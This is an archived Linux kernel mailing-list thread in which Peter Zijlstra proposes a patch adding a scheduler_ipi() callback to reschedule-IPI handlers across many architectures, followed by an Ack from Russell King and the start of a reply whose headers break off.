	(envelope-from <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>)
	id 1PenU0-0003oZ-M9
	for glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Mon, 17 Jan 2011 12:42:49 +0100
Original-Received: from blackfin.uclinux.org (blackfin.uclinux.org [127.0.0.1])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id p0HBgHqX030578;
	Mon, 17 Jan 2011 06:42:18 -0500
Original-Received: from casper.infradead.org (exim-FZi0V3Vbi30CUdFEqe4BF2D2FQJk+8+b@public.gmane.org [85.118.1.10])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP
	id p0HBfwps030557 for <uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>;
	Mon, 17 Jan 2011 06:42:04 -0500
Original-Received: from j77219.upc-j.chello.nl ([24.132.77.219] helo=laptop)
	by casper.infradead.org with esmtpsa (Exim 4.72 #1 (Red Hat Linux))
	id 1PenSP-0004PP-A0; Mon, 17 Jan 2011 11:41:09 +0000
Original-Received: by laptop (Postfix, from userid 1000)
	id DC23E10067263; Mon, 17 Jan 2011 12:41:49 +0100 (CET)
In-Reply-To: <1295263884.30950.54.camel@laptop>
X-Mailer: Evolution 2.30.3 
X-BeenThere: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <uclinux-dist-devel.blackfin.uclinux.org>
List-Unsubscribe: <https://blackfin.uclinux.org/mailman/options/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=unsubscribe>
List-Archive: <http://blackfin.uclinux.org/pipermail/uclinux-dist-devel>
List-Post: <mailto:uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
List-Help: <mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=help>
List-Subscribe: <https://blackfin.uclinux.org/mailman/listinfo/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=subscribe>
Original-Sender: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Errors-To: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Xref: news.gmane.org gmane.linux.hardware.blackfin.kernel.devel:5083 gmane.linux.ports.mips.general:30016 gmane.linux.ports.ia64:21530 gmane.linux.ports.sh.devel:9846 gmane.linux.ports.sparc:14174 gmane.linux.kernel.cross-arch:8840 gmane.linux.kernel.virtualization:11190 gmane.linux.uml.devel:12671 gmane.linux.ports.alpha:1295 gmane.comp.emulators.xen.devel:97170 gmane.linux.uml.user:13870 gmane.linux.ports.parisc:3387 gmane.linux.kernel:1088343 gmane.linux.ports.ppc64.devel:72068
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.blackfin.kernel.devel/5083>

On Mon, 2011-01-17 at 12:31 +0100, Peter Zijlstra wrote:
> On Mon, 2011-01-17 at 11:26 +0000, Russell King - ARM Linux wrote:

> > Maybe remove the comment "everything is done on the interrupt return path"
> > as with this function call, that is no longer the case.

(Removed am33, m32r-ka, m32r, arm-kernel lists because they kept sending
bounces)

---
Subject: sched: provide scheduler_ipi() callback in response to smp_send_reschedule()
From: Peter Zijlstra <peterz-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>
Date: Mon, 17 Jan 2011 12:07:13 +0100

For future rework of try_to_wake_up() we'd like to push part of that
onto the CPU the task is actually going to run on, in order to do so we
need a generic callback from the existing scheduler IPI.

This patch introduces such a generic callback: scheduler_ipi() and
implements it as a NOP.

I visited existing smp_send_reschedule() implementations and tried to
add a call to scheduler_ipi() in their handler part, but esp. for MIPS
I'm not quite sure I actually got all of them.

Also, while reading through all this, I noticed the blackfin SMP code
looks to be broken, it simply discards any IPI when low on memory.

Signed-off-by: Peter Zijlstra <a.p.zijlstra-/NLkJaSkS4VmR6Xm/wNWPw@public.gmane.org>
LKML-Reference: <new-submission>
---
 arch/alpha/kernel/smp.c         |    3 +--
 arch/arm/kernel/smp.c           |    5 +----
 arch/blackfin/mach-common/smp.c |    5 ++---
 arch/cris/arch-v32/kernel/smp.c |   13 ++++++++-----
 arch/ia64/kernel/irq_ia64.c     |    2 ++
 arch/ia64/xen/irq_xen.c         |   10 +++++++++-
 arch/m32r/kernel/smp.c          |    4 +---
 arch/mips/kernel/smtc.c         |    2 +-
 arch/mips/sibyte/bcm1480/smp.c  |    7 +++----
 arch/mips/sibyte/sb1250/smp.c   |    7 +++----
 arch/mn10300/kernel/smp.c       |    5 +----
 arch/parisc/kernel/smp.c        |    5 +----
 arch/powerpc/kernel/smp.c       |    2 +-
 arch/s390/kernel/smp.c          |    6 +++---
 arch/sh/kernel/smp.c            |    2 ++
 arch/sparc/kernel/smp_32.c      |    2 +-
 arch/sparc/kernel/smp_64.c      |    1 +
 arch/tile/kernel/smp.c          |    6 +-----
 arch/um/kernel/smp.c            |    2 +-
 arch/x86/kernel/smp.c           |    5 ++---
 arch/x86/xen/smp.c              |    5 ++---
 include/linux/sched.h           |    1 +
 22 files changed, 48 insertions(+), 52 deletions(-)

Index: linux-2.6/arch/alpha/kernel/smp.c
===================================================================
--- linux-2.6.orig/arch/alpha/kernel/smp.c
+++ linux-2.6/arch/alpha/kernel/smp.c
@@ -585,8 +585,7 @@ handle_ipi(struct pt_regs *regs)
 
 		switch (which) {
 		case IPI_RESCHEDULE:
-			/* Reschedule callback.  Everything to be done
-			   is done by the interrupt return path.  */
+			scheduler_ipi();
 			break;
 
 		case IPI_CALL_FUNC:
Index: linux-2.6/arch/arm/kernel/smp.c
===================================================================
--- linux-2.6.orig/arch/arm/kernel/smp.c
+++ linux-2.6/arch/arm/kernel/smp.c
@@ -575,10 +575,7 @@ asmlinkage void __exception do_IPI(struc
 				break;
 
 			case IPI_RESCHEDULE:
-				/*
-				 * nothing more to do - eveything is
-				 * done on the interrupt return path
-				 */
+				scheduler_ipi();
 				break;
 
 			case IPI_CALL_FUNC:
Index: linux-2.6/arch/blackfin/mach-common/smp.c
===================================================================
--- linux-2.6.orig/arch/blackfin/mach-common/smp.c
+++ linux-2.6/arch/blackfin/mach-common/smp.c
@@ -154,8 +154,7 @@ static irqreturn_t ipi_handler(int irq, 
 		list_del(&msg->list);
 		switch (msg->type) {
 		case BFIN_IPI_RESCHEDULE:
-			/* That's the easiest one; leave it to
-			 * return_from_int. */
+			scheduler_ipi();
 			kfree(msg);
 			break;
 		case BFIN_IPI_CALL_FUNC:
@@ -301,7 +300,7 @@ void smp_send_reschedule(int cpu)
 
 	msg = kzalloc(sizeof(*msg), GFP_ATOMIC);
 	if (!msg)
-		return;
+		return; /* XXX unreliable needs fixing ! */
 	INIT_LIST_HEAD(&msg->list);
 	msg->type = BFIN_IPI_RESCHEDULE;
 
Index: linux-2.6/arch/cris/arch-v32/kernel/smp.c
===================================================================
--- linux-2.6.orig/arch/cris/arch-v32/kernel/smp.c
+++ linux-2.6/arch/cris/arch-v32/kernel/smp.c
@@ -340,15 +340,18 @@ irqreturn_t crisv32_ipi_interrupt(int ir
 
 	ipi = REG_RD(intr_vect, irq_regs[smp_processor_id()], rw_ipi);
 
+	if (ipi.vector & IPI_SCHEDULE) {
+		scheduler_ipi();
+	}
 	if (ipi.vector & IPI_CALL) {
-	         func(info);
+		func(info);
 	}
 	if (ipi.vector & IPI_FLUSH_TLB) {
-		     if (flush_mm == FLUSH_ALL)
-			 __flush_tlb_all();
-		     else if (flush_vma == FLUSH_ALL)
+		if (flush_mm == FLUSH_ALL)
+			__flush_tlb_all();
+		else if (flush_vma == FLUSH_ALL)
 			__flush_tlb_mm(flush_mm);
-		     else
+		else
 			__flush_tlb_page(flush_vma, flush_addr);
 	}
 
Index: linux-2.6/arch/ia64/kernel/irq_ia64.c
===================================================================
--- linux-2.6.orig/arch/ia64/kernel/irq_ia64.c
+++ linux-2.6/arch/ia64/kernel/irq_ia64.c
@@ -31,6 +31,7 @@
 #include <linux/irq.h>
 #include <linux/ratelimit.h>
 #include <linux/acpi.h>
+#include <linux/sched.h>
 
 #include <asm/delay.h>
 #include <asm/intrinsics.h>
@@ -496,6 +497,7 @@ ia64_handle_irq (ia64_vector vector, str
 			smp_local_flush_tlb();
 			kstat_incr_irqs_this_cpu(irq, desc);
 		} else if (unlikely(IS_RESCHEDULE(vector))) {
+			scheduler_ipi();
 			kstat_incr_irqs_this_cpu(irq, desc);
 		} else {
 			ia64_setreg(_IA64_REG_CR_TPR, vector);
Index: linux-2.6/arch/ia64/xen/irq_xen.c
===================================================================
--- linux-2.6.orig/arch/ia64/xen/irq_xen.c
+++ linux-2.6/arch/ia64/xen/irq_xen.c
@@ -92,6 +92,8 @@ static unsigned short saved_irq_cnt;
 static int xen_slab_ready;
 
 #ifdef CONFIG_SMP
+#include <linux/sched.h>
+
 /* Dummy stub. Though we may check XEN_RESCHEDULE_VECTOR before __do_IRQ,
  * it ends up to issue several memory accesses upon percpu data and
  * thus adds unnecessary traffic to other paths.
@@ -99,7 +101,13 @@ static int xen_slab_ready;
 static irqreturn_t
 xen_dummy_handler(int irq, void *dev_id)
 {
+	return IRQ_HANDLED;
+}
 
+static irqreturn_t
+xen_resched_handler(int irq, void *dev_id)
+{
+	scheduler_ipi();
 	return IRQ_HANDLED;
 }
 
@@ -110,7 +118,7 @@ static struct irqaction xen_ipi_irqactio
 };
 
 static struct irqaction xen_resched_irqaction = {
-	.handler =	xen_dummy_handler,
+	.handler =	xen_resched_handler,
 	.flags =	IRQF_DISABLED,
 	.name =		"resched"
 };
Index: linux-2.6/arch/m32r/kernel/smp.c
===================================================================
--- linux-2.6.orig/arch/m32r/kernel/smp.c
+++ linux-2.6/arch/m32r/kernel/smp.c
@@ -122,8 +122,6 @@ void smp_send_reschedule(int cpu_id)
  *
  * Description:  This routine executes on CPU which received
  *               'RESCHEDULE_IPI'.
- *               Rescheduling is processed at the exit of interrupt
- *               operation.
  *
  * Born on Date: 2002.02.05
  *
@@ -138,7 +136,7 @@ void smp_send_reschedule(int cpu_id)
  *==========================================================================*/
 void smp_reschedule_interrupt(void)
 {
-	/* nothing to do */
+	scheduler_ipi();
 }
 
 /*==========================================================================*
Index: linux-2.6/arch/mips/kernel/smtc.c
===================================================================
--- linux-2.6.orig/arch/mips/kernel/smtc.c
+++ linux-2.6/arch/mips/kernel/smtc.c
@@ -930,7 +930,7 @@ static void post_direct_ipi(int cpu, str
 
 static void ipi_resched_interrupt(void)
 {
-	/* Return from interrupt should be enough to cause scheduler check */
+	scheduler_ipi();
 }
 
 static void ipi_call_interrupt(void)
Index: linux-2.6/arch/mips/sibyte/bcm1480/smp.c
===================================================================
--- linux-2.6.orig/arch/mips/sibyte/bcm1480/smp.c
+++ linux-2.6/arch/mips/sibyte/bcm1480/smp.c
@@ -20,6 +20,7 @@
 #include <linux/delay.h>
 #include <linux/smp.h>
 #include <linux/kernel_stat.h>
+#include <linux/sched.h>
 
 #include <asm/mmu_context.h>
 #include <asm/io.h>
@@ -189,10 +190,8 @@ void bcm1480_mailbox_interrupt(void)
 	/* Clear the mailbox to clear the interrupt */
 	__raw_writeq(((u64)action)<<48, mailbox_0_clear_regs[cpu]);
 
-	/*
-	 * Nothing to do for SMP_RESCHEDULE_YOURSELF; returning from the
-	 * interrupt will do the reschedule for us
-	 */
+	if (actione & SMP_RESCHEDULE_YOURSELF)
+		scheduler_ipi();
 
 	if (action & SMP_CALL_FUNCTION)
 		smp_call_function_interrupt();
Index: linux-2.6/arch/mips/sibyte/sb1250/smp.c
===================================================================
--- linux-2.6.orig/arch/mips/sibyte/sb1250/smp.c
+++ linux-2.6/arch/mips/sibyte/sb1250/smp.c
@@ -21,6 +21,7 @@
 #include <linux/interrupt.h>
 #include <linux/smp.h>
 #include <linux/kernel_stat.h>
+#include <linux/sched.h>
 
 #include <asm/mmu_context.h>
 #include <asm/io.h>
@@ -177,10 +178,8 @@ void sb1250_mailbox_interrupt(void)
 	/* Clear the mailbox to clear the interrupt */
 	____raw_writeq(((u64)action) << 48, mailbox_clear_regs[cpu]);
 
-	/*
-	 * Nothing to do for SMP_RESCHEDULE_YOURSELF; returning from the
-	 * interrupt will do the reschedule for us
-	 */
+	if (action & SMP_RESCHEDULE_YOURSELF)
+		scheduler_ipi();
 
 	if (action & SMP_CALL_FUNCTION)
 		smp_call_function_interrupt();
Index: linux-2.6/arch/mn10300/kernel/smp.c
===================================================================
--- linux-2.6.orig/arch/mn10300/kernel/smp.c
+++ linux-2.6/arch/mn10300/kernel/smp.c
@@ -464,14 +464,11 @@ void smp_send_stop(void)
  * @irq: The interrupt number.
  * @dev_id: The device ID.
  *
- * We need do nothing here, since the scheduling will be effected on our way
- * back through entry.S.
- *
  * Returns IRQ_HANDLED to indicate we handled the interrupt successfully.
  */
 static irqreturn_t smp_reschedule_interrupt(int irq, void *dev_id)
 {
-	/* do nothing */
+	scheduler_ipi();
 	return IRQ_HANDLED;
 }
 
Index: linux-2.6/arch/parisc/kernel/smp.c
===================================================================
--- linux-2.6.orig/arch/parisc/kernel/smp.c
+++ linux-2.6/arch/parisc/kernel/smp.c
@@ -155,10 +155,7 @@ ipi_interrupt(int irq, void *dev_id) 
 				
 			case IPI_RESCHEDULE:
 				smp_debug(100, KERN_DEBUG "CPU%d IPI_RESCHEDULE\n", this_cpu);
-				/*
-				 * Reschedule callback.  Everything to be
-				 * done is done by the interrupt return path.
-				 */
+				scheduler_ipi();
 				break;
 
 			case IPI_CALL_FUNC:
Index: linux-2.6/arch/powerpc/kernel/smp.c
===================================================================
--- linux-2.6.orig/arch/powerpc/kernel/smp.c
+++ linux-2.6/arch/powerpc/kernel/smp.c
@@ -127,7 +127,7 @@ static irqreturn_t call_function_action(
 
 static irqreturn_t reschedule_action(int irq, void *data)
 {
-	/* we just need the return path side effect of checking need_resched */
+	scheduler_ipi();
 	return IRQ_HANDLED;
 }
 
Index: linux-2.6/arch/s390/kernel/smp.c
===================================================================
--- linux-2.6.orig/arch/s390/kernel/smp.c
+++ linux-2.6/arch/s390/kernel/smp.c
@@ -163,12 +163,12 @@ static void do_ext_call_interrupt(unsign
 
 	/*
 	 * handle bit signal external calls
-	 *
-	 * For the ec_schedule signal we have to do nothing. All the work
-	 * is done automatically when we return from the interrupt.
 	 */
 	bits = xchg(&S390_lowcore.ext_call_fast, 0);
 
+	if (test_bit(ec_schedule, &bits))
+		scheduler_ipi();
+
 	if (test_bit(ec_call_function, &bits))
 		generic_smp_call_function_interrupt();
 
Index: linux-2.6/arch/sh/kernel/smp.c
===================================================================
--- linux-2.6.orig/arch/sh/kernel/smp.c
+++ linux-2.6/arch/sh/kernel/smp.c
@@ -20,6 +20,7 @@
 #include <linux/module.h>
 #include <linux/cpu.h>
 #include <linux/interrupt.h>
+#include <linux/sched.h>
 #include <asm/atomic.h>
 #include <asm/processor.h>
 #include <asm/system.h>
@@ -323,6 +324,7 @@ void smp_message_recv(unsigned int msg)
 		generic_smp_call_function_interrupt();
 		break;
 	case SMP_MSG_RESCHEDULE:
+		scheduler_ipi();
 		break;
 	case SMP_MSG_FUNCTION_SINGLE:
 		generic_smp_call_function_single_interrupt();
Index: linux-2.6/arch/sparc/kernel/smp_32.c
===================================================================
--- linux-2.6.orig/arch/sparc/kernel/smp_32.c
+++ linux-2.6/arch/sparc/kernel/smp_32.c
@@ -125,7 +125,7 @@ struct linux_prom_registers smp_penguin_
 
 void smp_send_reschedule(int cpu)
 {
-	/* See sparc64 */
+	scheduler_ipi();
 }
 
 void smp_send_stop(void)
Index: linux-2.6/arch/sparc/kernel/smp_64.c
===================================================================
--- linux-2.6.orig/arch/sparc/kernel/smp_64.c
+++ linux-2.6/arch/sparc/kernel/smp_64.c
@@ -1369,6 +1369,7 @@ void smp_send_reschedule(int cpu)
 void __irq_entry smp_receive_signal_client(int irq, struct pt_regs *regs)
 {
 	clear_softint(1 << irq);
+	scheduler_ipi();
 }
 
 /* This is a nop because we capture all other cpus
Index: linux-2.6/arch/tile/kernel/smp.c
===================================================================
--- linux-2.6.orig/arch/tile/kernel/smp.c
+++ linux-2.6/arch/tile/kernel/smp.c
@@ -184,12 +184,8 @@ void flush_icache_range(unsigned long st
 /* Called when smp_send_reschedule() triggers IRQ_RESCHEDULE. */
 static irqreturn_t handle_reschedule_ipi(int irq, void *token)
 {
-	/*
-	 * Nothing to do here; when we return from interrupt, the
-	 * rescheduling will occur there. But do bump the interrupt
-	 * profiler count in the meantime.
-	 */
 	__get_cpu_var(irq_stat).irq_resched_count++;
+	scheduler_ipi();
 
 	return IRQ_HANDLED;
 }
Index: linux-2.6/arch/um/kernel/smp.c
===================================================================
--- linux-2.6.orig/arch/um/kernel/smp.c
+++ linux-2.6/arch/um/kernel/smp.c
@@ -173,7 +173,7 @@ void IPI_handler(int cpu)
 			break;
 
 		case 'R':
-			set_tsk_need_resched(current);
+			scheduler_ipi();
 			break;
 
 		case 'S':
Index: linux-2.6/arch/x86/kernel/smp.c
===================================================================
--- linux-2.6.orig/arch/x86/kernel/smp.c
+++ linux-2.6/arch/x86/kernel/smp.c
@@ -194,14 +194,13 @@ static void native_stop_other_cpus(int w
 }
 
 /*
- * Reschedule call back. Nothing to do,
- * all the work is done automatically when
- * we return from the interrupt.
+ * Reschedule call back.
  */
 void smp_reschedule_interrupt(struct pt_regs *regs)
 {
 	ack_APIC_irq();
 	inc_irq_stat(irq_resched_count);
+	scheduler_ipi();
 	/*
 	 * KVM uses this interrupt to force a cpu out of guest mode
 	 */
Index: linux-2.6/arch/x86/xen/smp.c
===================================================================
--- linux-2.6.orig/arch/x86/xen/smp.c
+++ linux-2.6/arch/x86/xen/smp.c
@@ -46,13 +46,12 @@ static irqreturn_t xen_call_function_int
 static irqreturn_t xen_call_function_single_interrupt(int irq, void *dev_id);
 
 /*
- * Reschedule call back. Nothing to do,
- * all the work is done automatically when
- * we return from the interrupt.
+ * Reschedule call back.
  */
 static irqreturn_t xen_reschedule_interrupt(int irq, void *dev_id)
 {
 	inc_irq_stat(irq_resched_count);
+	scheduler_ipi();
 
 	return IRQ_HANDLED;
 }
Index: linux-2.6/include/linux/sched.h
===================================================================
--- linux-2.6.orig/include/linux/sched.h
+++ linux-2.6/include/linux/sched.h
@@ -2183,6 +2183,7 @@ extern void set_task_comm(struct task_st
 extern char *get_task_comm(char *to, struct task_struct *tsk);
 
 #ifdef CONFIG_SMP
+static inline void scheduler_ipi(void) { }
 extern unsigned long wait_task_inactive(struct task_struct *, long match_state);
 #else
 static inline unsigned long wait_task_inactive(struct task_struct *p,

From - Thu Nov 08 21:06:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King - ARM Linux <linux@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.comp.emulators.xen.devel,gmane.linux.kernel.virtualization,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] sched: provide scheduler_ipi() callback in response to
        smp_send_reschedule()
Date: Mon, 17 Jan 2011 11:57:48 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20110117115748.GA20615@n2100.arm.linux.org.uk>
References: <1295262433.30950.53.camel@laptop> <20110117112637.GA18599@n2100.arm.linux.org.uk> <1295263884.30950.54.camel@laptop> <1295264509.30950.59.camel@laptop>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1295265670 2960 80.91.229.12 (17 Jan 2011 12:01:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 17 Jan 2011 12:01:10 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Mike Frysinger <vapier@gentoo.org>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Hirokazu Takata <takata@linux-m32r.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        David Howells <dhowells@redhat.com>,
        Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        lin
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Jan 17 13:00:58 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1PenlZ-0002wm-IM
	for sgi-linux-mips@gmane.org; Mon, 17 Jan 2011 13:00:57 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:54965 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1493404Ab1AQMA4 (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 17 Jan 2011 13:00:56 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 17 Jan 2011 13:00:38 +0100 (CET)
Original-Received: from caramon.arm.linux.org.uk ([78.32.30.218]:53632 "EHLO
        caramon.arm.linux.org.uk" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S1493402Ab1AQMAf (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Mon, 17 Jan 2011 13:00:35 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=arm.linux.org.uk; s=caramon;
        h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=7AKuFHemzEnJi+i4xATR5kcPnaWlSIRczl7azc6AofU=;
        b=RmA2l1K16s4CX9DI/ZvKJHtxE9CJqPxjfCuNj2RslMfCoRce9tfhMTkO6Fw4f26ipjcXW6Ut6rEaT3KfRuEPyLX5T+G6HP6Y0D8NLCZ5LM7NbkE6BpyC3KMnFc6sZNiCdVnOD8K9qCS5DJp+dhc1NrX9adCDqO2825+HpyPqeRA=;
Original-Received: from n2100.arm.linux.org.uk ([2002:4e20:1eda:1:214:fdff:fe10:4f86])
        by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
        (Exim 4.72)
        (envelope-from <linux@arm.linux.org.uk>)
        id 1PeniZ-0002KC-4C; Mon, 17 Jan 2011 11:57:51 +0000
Original-Received: from linux by n2100.arm.linux.org.uk with local (Exim 4.72)
        (envelope-from <linux@n2100.arm.linux.org.uk>)
        id 1PeniW-0005QM-Uw; Mon, 17 Jan 2011 11:57:48 +0000
Content-Disposition: inline
In-Reply-To: <1295264509.30950.59.camel@laptop>
User-Agent: Mutt/1.5.19 (2009-01-05)
X-archive-position: 28933
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: linux@arm.linux.org.uk
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:30018 gmane.linux.ports.alpha:1296 gmane.linux.kernel:1088345 gmane.linux.hardware.blackfin.kernel.devel:5084 gmane.linux.ports.ia64:21531 gmane.linux.ports.parisc:3388 gmane.linux.ports.ppc64.devel:72071 gmane.linux.ports.sh.devel:9847 gmane.linux.ports.sparc:14175 gmane.linux.uml.devel:12672 gmane.linux.uml.user:13871 gmane.comp.emulators.xen.devel:97171 gmane.linux.kernel.virtualization:11191 gmane.linux.kernel.cross-arch:8841
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/30018>

On Mon, Jan 17, 2011 at 12:41:49PM +0100, Peter Zijlstra wrote:
> ===================================================================
> --- linux-2.6.orig/arch/arm/kernel/smp.c
> +++ linux-2.6/arch/arm/kernel/smp.c
> @@ -575,10 +575,7 @@ asmlinkage void __exception do_IPI(struc
>  				break;
>  
>  			case IPI_RESCHEDULE:
> -				/*
> -				 * nothing more to do - eveything is
> -				 * done on the interrupt return path
> -				 */
> +				scheduler_ipi();
>  				break;
>  
>  			case IPI_CALL_FUNC:

Acked-by: Russell King <rmk+kernel@arm.linux.org.uk>



From - Thu Nov 08 21:06:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schwidefsky <schwidefsky@de.ibm.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.comp.emulators.xen.devel,gmane.linux.kernel.virtualization,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] sched: provide scheduler_ipi() callback in response to
 smp_send_reschedule()
Date: Mon, 17 Jan 2011 13:18:23 +0100
Organization: IBM Corporation
Lines: 38
Approved: news@gmane.org
Message-ID: <20110117131823.410e515c@mschwide.boeblingen.de.ibm.com>
References: <1295262433.30950.53.camel@laptop>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1295266789 8483 80.91.229.12 (17 Jan 2011 12:19:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 17 Jan 2011 12:19:49 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Mike Frysinger <vapier@gentoo.org>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Hirokazu Takata <takata@linux-m32r.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        David Howells <dhowells@redhat.com>,
        Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        linux390@
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Jan 17 13:19:20 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1Peo3I-0004Gr-1q
	for sgi-linux-mips@gmane.org; Mon, 17 Jan 2011 13:19:16 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:39290 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1493407Ab1AQMTE (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 17 Jan 2011 13:19:04 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 17 Jan 2011 13:18:46 +0100 (CET)
Original-Received: from mtagate1.uk.ibm.com ([194.196.100.161]:48364 "EHLO
        mtagate1.uk.ibm.com" rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org
        with ESMTP id S1493406Ab1AQMSm (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Mon, 17 Jan 2011 13:18:42 +0100
Original-Received: from d06nrmr1806.portsmouth.uk.ibm.com (d06nrmr1806.portsmouth.uk.ibm.com [9.149.39.193])
        by mtagate1.uk.ibm.com (8.13.1/8.13.1) with ESMTP id p0HCIVRU005433;
        Mon, 17 Jan 2011 12:18:31 GMT
Original-Received: from d06av12.portsmouth.uk.ibm.com (d06av12.portsmouth.uk.ibm.com [9.149.37.247])
        by d06nrmr1806.portsmouth.uk.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id p0HCIVLV897124;
        Mon, 17 Jan 2011 12:18:33 GMT
Original-Received: from d06av12.portsmouth.uk.ibm.com (loopback [127.0.0.1])
